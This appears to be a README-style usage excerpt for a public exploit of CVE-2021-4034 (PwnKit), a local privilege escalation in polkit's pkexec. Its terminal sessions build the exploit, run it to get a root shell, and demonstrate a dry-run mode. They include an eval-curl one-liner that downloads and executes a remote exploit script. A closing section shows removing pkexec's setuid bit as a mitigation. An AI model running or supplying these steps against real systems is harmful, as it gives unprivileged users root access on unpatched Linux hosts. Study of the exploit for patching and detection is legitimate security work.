vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

# chmod 0755 /usr/bin/pkexec

vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root